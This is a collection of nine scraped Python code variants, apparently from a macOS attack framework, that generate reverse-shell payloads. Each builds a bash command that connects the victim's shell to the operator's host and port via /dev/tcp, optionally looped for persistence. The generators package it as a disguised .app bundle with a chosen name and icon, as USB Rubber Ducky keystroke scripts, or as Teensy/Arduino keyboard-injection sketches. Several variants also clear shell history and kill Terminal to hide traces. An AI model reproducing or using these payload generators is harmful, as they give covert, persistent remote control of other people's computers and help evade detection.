Пример #1
0
	def run(self,server):
		while 1:
			shell = raw_input(h.info_general_raw("Target Shell: "))
                        name = raw_input(h.info_general_raw("Application Name: "))
                        icon = raw_input(h.info_general_raw("Application Icon: "))
			persistence = raw_input(h.info_question_raw("Make Persistent? (y/N): ")).lower()
			if persistence == "y":
				shell_command = "while true; do $("+shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & "
				break
			elif persistence == "n" or not persistence:
				shell_command = shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;"
				break
			else:
				h.info_error("Unrecognized option!")

		if os.path.exists("payloads") == False:
			os.mkdir("payloads")
		if os.path.exists("payloads/macos_application") == False:
			os.mkdir("payloads/macos_application")
			os.system("""
cp -r data/app/payload.app payloads/macos_application
mv payloads/macos_application/payload.app payloads/macos_application/"""+name+""".app
mv """+icon+""" payloads/macos_application/"""+name+""".app/Contents/Resources/payload.icns
                        """)
		payload_save_path = "payloads/macos_application/"+name+".app/Contents/MacOS/payload.sh"
                sas = "payloads/macos_application/"+name+".app"
		payload = """\
#! /usr/bin/env bash
"""+shell_command+"""
                """
		f = open(payload_save_path,"w")
		f.write(payload)
		f.close()
		h.info_general("Payload saved to " + sas)
		os.system("chmod +x payloads/macos_application/"+name+".app/Contents/MacOS/payload.sh")
Пример #2
0
	def run(self,server):
		while 1:
			shell = raw_input(h.info_general_raw("Target shell: ")).strip(" ")
			while shell == "":
			    shell = raw_input(h.info_general_raw("Target shell: ")).strip(" ")
			persistence = raw_input(h.info_question_raw("Make persistent? (y/n): ")).strip(" ").lower()
			if persistence == "y":
				shell_command = "while true; do $("+shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & "
				break
			else:
				shell_command = shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;"
				break
		shell_command += "history -wc;killall Terminal"
		path = raw_input(h.info_general_raw("Output path: ")).strip(" ")
		if path == "":
		    path = "payload.txt"
		if os.path.isdir(path):
		    if os.path.exists(path):
			if path[-1:] == "/":
                             payload_save_path = path + "payload.txt"
                        else:
                             payload_save_path = path + "/payload.txt"
		    else:
			h.info_error("Local directory: "+path+": does not exist!")
			exit
		else:
		    direct = os.path.split(path)[0]
		    if direct == "":
			direct = "."
		    else:
			pass
		    if os.path.exists(direct):
		        if os.path.isdir(direct):
		            payload_save_path = path
		        else:
			    h.info_error("Error: "+direct+": not a directory!")
			    exit
		    else:
		        h.info_error("Local directory: "+direct+": does not exist!")
		        exit
			
		payload = """\
DELAY 500
COMMAND SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING """+shell_command+"""
DELAY 500
ENTER
DELAY 500"""
		h.info_general("Saving to " + payload_save_path + "...")
		f = open(payload_save_path,"w")
		f.write(payload)
		f.close()
		h.info_success("Saved to " + payload_save_path + "!")
Пример #3
0
    def run(self, server):
        while 1:
            shell = raw_input(h.info_general_raw("Target Shell: ")).strip(" ")
            icon = raw_input(
                h.info_general_raw("Application Icon: ")).strip(" ")
            persistence = raw_input(
                h.info_question_raw("Make Persistent? (y/n): ")).strip(
                    " ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            else:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
        path = raw_input(h.info_general_raw("Output File: ")).strip(" ")
        w = os.environ['OLDPWD']
        os.chdir(w)
        if os.path.isdir(path):
            if os.path.exists(path):
                if path[:-1] == "/":
                    payload_save_path = path + "payload.app"
                else:
                    payload_save_path = path + "/payload.app"
            else:
                h.info_error("Local directory: " + path + ": does not exist!")
                exit
        else:
            direct = os.path.split(path)[0]
            if os.path.exists(direct):
                if os.path.isdir(direct):
                    payload_save_path = path + "/Contents/MacOS/payload.sh"
                else:
                    h.info_error("Error: " + direct + ": not a directory!")
                    exit
            else:
                h.info_error("Local directory: " + direct +
                             ": does not exist!")
                exit
        os.system("cp -r data/app/payload.app " + path + " > /dev/null")
        os.system("mv " + icon + " " + path +
                  "/Contents/Resources/payload.icns > /dev/null")
        payload = """\
#! /usr/bin/env bash
""" + shell_command
        h.info_general("Saving to " + path + "...")
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_success("Saved to " + path + "!")
        os.system("chmod +x " + path + "/Contents/MacOS/payload.sh")
        g = os.environ['HOME']
        os.chdir(g + "/mouse")
Пример #4
0
    def run(self, server):
        while 1:
            shell = raw_input(h.info_general_raw("Target Shell: ")).strip(" ")
            persistence = raw_input(
                h.info_question_raw("Make Persistent? (y/N): ")).strip(
                    " ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                shell_clean = "history -wc;killall Terminal"
                break
            elif persistence == "n" or not persistence:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                shell_clean = "history -wc;killall Terminal"
                break
            else:
                h.info_error("Unrecognized option!")

        shell_command += "history -wc;killall Terminal"
        if os.path.exists("payloads") == False:
            os.mkdir("payloads")
        if os.path.exists("payloads/rubber_duck") == False:
            os.mkdir("payloads/rubber_duck")
        payload_save_path = "payloads/rubber_duck/payload.txt"
        payload = """\
DELAY 500
COMMAND SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING """ + shell_command + """
DELAY 500
ENTER
DELAY 500
"""
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_general("Payload saved to " + payload_save_path)
Пример #5
0
    def run(self, server):
        while 1:
            shell = input(h.info_general_raw("Target shell: ")).strip(" ")
            while shell == "":
                shell = input(h.info_general_raw("Target shell: ")).strip(" ")
                icon = input(
                    h.info_general_raw("Application icon: ")).strip(" ")
            while icon == "":
                icon = input(
                    h.info_general_raw("Application icon: ")).strip(" ")
            persistence = input(h.info_question_raw(
                "Make persistent? (y/n): ")).strip(" ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            else:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
        shell_command += "history -wc;killall Terminal"
        path = input(h.info_general_raw("Output path: ")).strip(" ")
        if path == "":
            path = "payload.app"
        if os.path.isdir(path):
            if os.path.exists(path):
                if path[-1] == "/":
                    payload_save_path = path + "payload.app"
                else:
                    payload_save_path = path + "/payload.app"
            else:
                h.info_error("Local directory: " + path + ": does not exist!")
                exit
        else:
            direct = os.path.split(path)[0]
            if direct == "":
                direct = "."
            else:
                pass
            if os.path.exists(direct):
                if os.path.isdir(direct):
                    payload_save_path = path
                else:
                    h.info_error("Error: " + direct + ": not a directory!")
                    exit
            else:
                h.info_error("Local directory: " + direct +
                             ": does not exist!")
                exit
        h.info_general("Creating payload...")
        os.system("cp -r data/app/payload.app " + path + " > /dev/null")
        os.system("mv " + icon + " " + path +
                  "/Contents/Resources/payload.icns > /dev/null")
        payload = """\
#! /usr/bin/env bash
""" + shell_command
        h.info_general("Saving to " + path + "...")
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_success("Saved to " + path + "!")
        os.system("chmod +x " + path + "/Contents/MacOS/payload.sh")
Пример #6
0
    def run(self, server):
        while 1:
            persistence = raw_input(
                h.info_question_raw("Make Persistent? (y/N): ")).lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            elif persistence == "n" or not persistence:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
            else:
                h.info_error("Unrecognized option!")

        shell_command += "history -wc;killall Terminal"
        if os.path.exists("payloads") == False:
            os.mkdir("payloads")
        if os.path.exists("payloads/teensy_macos") == False:
            os.mkdir("payloads/teensy_macos")
        payload_save_path = "payloads/teensy_macos/teensy_macos.ino"
        payload = """\
#include "Keyboard.h"
const int LED = 13;
void setup() {
	pinMode(LED, OUTPUT);
	Serial.begin(9600);
	delay(1000); //delay to establish connection
	Keyboard.set_modifier(MODIFIERKEY_GUI);
	Keyboard.set_key1(KEY_SPACE);
	Keyboard.send_now();
	Keyboard.set_modifier(0);
	Keyboard.set_key1(0);
	Keyboard.send_now();
	delay(200);
	Keyboard.print("terminal");
	delay(1000);
	keyEnter();
	delay(1000);
	Keyboard.print(\"""" + shell_command + """\");
	keyEnter();
}

void keyEnter() {
	Keyboard.set_key1(KEY_ENTER);
	Keyboard.send_now();
	//release
	Keyboard.set_key1(0);
	Keyboard.send_now();
}

void loop() {
	digitalWrite(LED, HIGH);
	delay(100);
	digitalWrite(LED, LOW);
	delay(100);
}"""
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_general("Payload saved to " + payload_save_path)
Пример #7
0
    def run(self, server):
        while 1:
            shell = raw_input(h.info_general_raw("Target Shell: ")).strip(" ")
            persistence = raw_input(
                h.info_question_raw("Make Persistent? (y/n): ")).strip(
                    " ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            else:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
        shell_command += "history -wc;killall Terminal"
        path = raw_input(h.info_general_raw("Output File: ")).strip(" ")
        w = os.environ['OLDPWD']
        os.chdir(w)
        if os.path.isdir(path):
            if os.path.exists(path):
                if path[:-1] == "/":
                    payload_save_path = path + "payload.ino"
                else:
                    payload_save_path = path + "/payload.ino"
            else:
                h.info_error("Local directory: " + path + ": does not exist!")
                exit
        else:
            direct = os.path.split(path)[0]
            if os.path.exists(direct):
                if os.path.isdir(direct):
                    payload_save_path = path
                else:
                    h.info_error("Error: " + direct + ": not a directory!")
                    exit
            else:
                h.info_error("Local directory: " + direct +
                             ": does not exist!")
                exit
        payload = """\
#include "Keyboard.h"

void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

void setup()
{
  Keyboard.begin();

  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(' ');
  Keyboard.releaseAll();

  delay(500);
  Keyboard.print(F("terminal"));

  delay(500);
  typeKey(KEY_RETURN);

  delay(500);
  Keyboard.print(F(\"""" + shell_command + """\"));

  delay(500);
  typeKey(KEY_RETURN);

  Keyboard.end();
}

void loop() {}"""
        h.info_general("Saving to " + payload_save_path + "...")
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_success("Saved to " + payload_save_path + "!")
        g = os.environ['HOME']
        os.chdir(g + "/mouse")
Пример #8
0
    def run(self, server):
        while 1:
            shell = input(h.info_general_raw("Target shell: ")).strip(" ")
            if shell == "":
                shell = "sh"
            persistence = input(h.info_question_raw(
                "Make persistent? (y/n): ")).strip(" ").lower()
            if persistence == "y":
                shell_command = "while true; do $(" + shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(
                        server.port) + " 0>&1); sleep 5; done & "
                break
            else:
                shell_command = shell + " &> /dev/tcp/" + str(
                    server.host) + "/" + str(server.port) + " 0>&1;"
                break
        shell_command += "history -wc;killall Terminal"
        path = input(h.info_general_raw("Output path: ")).strip(" ")
        if path == "":
            path = "payload.ino"
        if os.path.isdir(path):
            if os.path.exists(path):
                if path[-1] == "/":
                    payload_save_path = path + "payload.ino"
                else:
                    payload_save_path = path + "/payload.ino"
            else:
                h.info_error("Local directory: " + path + ": does not exist!")
                input("Press enter to continue...").strip(" ")
                os.system("touch .nopayload")
                return
        else:
            direct = os.path.split(path)[0]
            if direct == "":
                direct = "."
            else:
                pass
            if os.path.exists(direct):
                if os.path.isdir(direct):
                    payload_save_path = path
                else:
                    h.info_error("Error: " + direct + ": not a directory!")
                    input("Press enter to continue...").strip(" ")
                    os.system("touch .nopayload")
                    return
            else:
                h.info_error("Local directory: " + direct +
                             ": does not exist!")
                input("Press enter to continue...").strip(" ")
                os.system("touch .nopayload")
                return
        h.info_general("Creating payload...")
        payload = """\
#include "Keyboard.h"

void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

void setup()
{
  Keyboard.begin();

  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(' ');
  Keyboard.releaseAll();

  delay(500);
  Keyboard.print(F("terminal"));

  delay(500);
  typeKey(KEY_RETURN);

  delay(500);
  Keyboard.print(F(\"""" + shell_command + """\"));

  delay(500);
  typeKey(KEY_RETURN);

  Keyboard.end();
}

void loop() {}"""
        h.info_general("Saving to " + payload_save_path + "...")
        f = open(payload_save_path, "w")
        f.write(payload)
        f.close()
        h.info_success("Saved to " + payload_save_path + "!")
Пример #9
0
	def run(self,server):
		while 1:
			shell = input(h.info_general_raw("Target shell: ")).strip(" ")
			if shell == "":
				shell = "sh"
			persistence = input(h.info_question_raw("Make persistent? (y/n): ")).strip(" ").lower()
			if persistence == "y":
				shell_command = "while true; do $("+shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1); sleep 5; done & "
				break
			else:
				shell_command = shell+" &> /dev/tcp/"+str(server.host)+"/"+str(server.port)+" 0>&1;"
				break
		shell_command += "history -wc;killall Terminal"
		path = input(h.info_general_raw("Output path: ")).strip(" ")
		if path == "":
			path = "payload.txt"
		w = os.environ['OLDPWD']
		os.chdir(w)
		if os.path.isdir(path):
			if os.path.exists(path):
				if path[-1] == "/":
					payload_save_path = path + "payload.txt"
				else:
					payload_save_path = path + "/payload.txt"
			else:
				h.info_error("Local directory: "+dest+": does not exist!")
				g = os.environ['HOME']
				os.chdir(g + "/mouse")
				input("Press enter to continue...").strip(" ")
				os.system("touch .nopayload")
				return
		else:
			direct = os.path.split(path)[0]
			if direct == "":
				direct = "."
			else:
				pass
			if os.path.exists(direct):
				if os.path.isdir(direct):
					payload_save_path = path
				else:
					h.info_error("Error: "+direct+": not a directory!")
					g = os.environ['HOME']
					os.chdir(g + "/mouse")
					input("Press enter to continue...").strip(" ")
					os.system("touch .nopayload")
					return
			else:
				h.info_error("Local directory: "+direct+": does not exist!")
				g = os.environ['HOME']
				os.chdir(g + "/mouse")
				input("Press enter to continue...").strip(" ")
				os.system("touch .nopayload")
				return
		h.info_general("Creating payload...")
		payload = """\
DELAY 500
COMMAND SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING """+shell_command+"""
DELAY 500
ENTER
DELAY 500"""
		h.info_general("Saving to " + payload_save_path + "...")
		f = open(payload_save_path,"w")
		f.write(payload)
		f.close()
		h.info_success("Saved to " + payload_save_path + "!")
		g = os.environ['HOME']
		os.chdir(g + "/mouse")